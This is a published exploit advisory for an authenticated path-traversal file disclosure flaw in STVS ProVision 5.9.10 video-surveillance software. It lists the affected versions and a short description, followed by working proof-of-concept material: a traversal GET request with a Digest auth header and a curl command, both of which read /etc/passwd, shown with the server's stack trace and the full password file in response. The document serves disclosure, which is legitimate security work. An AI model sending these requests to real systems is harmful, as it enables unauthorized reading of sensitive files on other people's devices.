stvs provision 5.9.10 file disclosure (authenticated)

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stvs provision 5.9.10 file disclosure (authenticated) Code Code...
				
# Exploit Title: STVS ProVision 5.9.10 - File Disclosure (Authenticated) # Date: 19.01.2021 # Exploit Author: LiquidWorm # Vendor Homepage: http://www.stvs.ch STVS ProVision 5.9.10 (archive.rb) Authenticated File Disclosure Vulnerability Vendor: STVS SA Product web page: http://www.stvs.ch Platform: Ruby Affected version: 5.9.10 (build 2885-3a8219a) 5.9.9 (build 2882-7c3b787) 5.9.7 (build 2871-a450938) 5.9.1 (build 2771-1bbed11) 5.9.0 (build 2701-6123026) 5.8.6 (build 2557-84726f7) 5.7 5.6 5.5 Summary: STVS is a Swiss company specializing in development of software for digital video recording for surveillance cameras as well as the establishment of powerful and user-friendly IP video surveillance networks. Desc: The NVR software ProVision suffers from an authenticated arbitrary file disclosure vulnerability. Input passed through the files parameter in archive download script (archive.rb) is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files. Tested on: Ubuntu 14.04.3 nginx/1.12.1 nginx/1.4.6 nginx/1.1.19 nginx/0.7.65 nginx/0.3.61 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2021-5623 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5623.php 19.01.2021 -- #1 LFI Prober (FP): ------------------- GET /archive/download?files=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1 Host: 192.168.1.17 Authorization: Digest username="admin", realm="ProVision", nonce="MjAyMS0wMS0xOSAwMDowNjo0NTo2OTMwMTE6NDk2MmVkNzM2OWIxNzMzNzRjZDc3YzY0NjM3MmNhNz", uri="/archive/download", algorithm=MD5, response="aceffbb0a121570f98a9f4678470a588", opaque="3c837ec895bd5fedcdad8674184de82e", qop=auth, nc=000001ca, cnonce="ebed759486b87a80" Accept: application/json, text/javascript, */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Origin: http://192.168.1.17 Referer: http://192.168.1.17/archive Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: last_stream=1; __flash__info= Connection: close HTTP/1.1 500 Not Found Server: nginx/1.4.6 (Ubuntu) Date: Mon, 18 Jan 2021 23:23:30 GMT Content-Type: text/html Content-Length: 2727 Connection: close <h1>`Archive` application problem</h1><h2>Archive::Controllers::FileDownload.GET</h2><h3>TypeError can't convert nil into String:</h3><ul><li>/usr/local/lib/ruby/site_ruby/1.8/apps/archive.rb:392:in `initialize'</li><li>/usr/local/lib/ruby/site_ruby/1.8/apps/archive.rb:392:in `new'</li><li>/usr/local/lib/ruby/site_ruby/1.8/apps/archive.rb:392:in `get'</li><li>(eval):27:in `send'</li><li>(eval):27:in `service'</li><li>/usr/local/lib/ruby/site_ruby/1.8/ext/security.rb:79:in `service'</li><li>/usr/local/lib/ruby/site_ruby/1.8/ext/forward.rb:54:in `run'</li><li>/usr/local/lib/ruby/gems/1.8/gems/camping-1.5.180/lib/camping/reloader.rb:117:in `run'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/camping.rb:53:in `process'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/camping.rb:52:in `synchronize'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/camping.rb:52:in `process'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:626:in `process_client'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:625:in `each'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:625:in `process_client'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:751:in `run'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:751:in `initialize'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:751:in `new'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:751:in `run'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:735:in `initialize'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:735:in `new'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:735:in `run'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:282:in `run'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:281:in `each'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:281:in `run'</li><li>/usr/local/bin/provision_server:69:in `cloaker_'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:149:in `call'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:149:in `listener'</li><li>/usr/local/bin/provision_server:63:in `cloaker_'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:50:in `call'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:50:in `initialize'</li><li>/usr/local/bin/provision_server:62:in `new'</li><li>/usr/local/bin/provision_server:62</li></ul> #2 LFI Prober (Verified): ------------------------- $ curl "http://192.168.1.17/archive//download/%2Fetc%2Fpasswd" root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false provision:x:999:107::/srv/provision/provision:/bin/bash stvs:x:1000:100::/home/stvs:/bin/bash usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false ntp:x:104:108::/home/ntp:/bin/false messagebus:x:105:110::/var/run/dbus:/bin/false sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin statd:x:107:65534::/var/lib/nfs:/bin/false -- Errno::ENOENT No such file or directory - /var/www/index.html: /usr/local/lib/ruby/site_ruby/1.8/apps/archive.rb:392:in `initialize' /usr/local/lib/ruby/site_ruby/1.8/apps/archive.rb:392:in `new' /usr/local/lib/ruby/site_ruby/1.8/apps/archive.rb:392:in `get'


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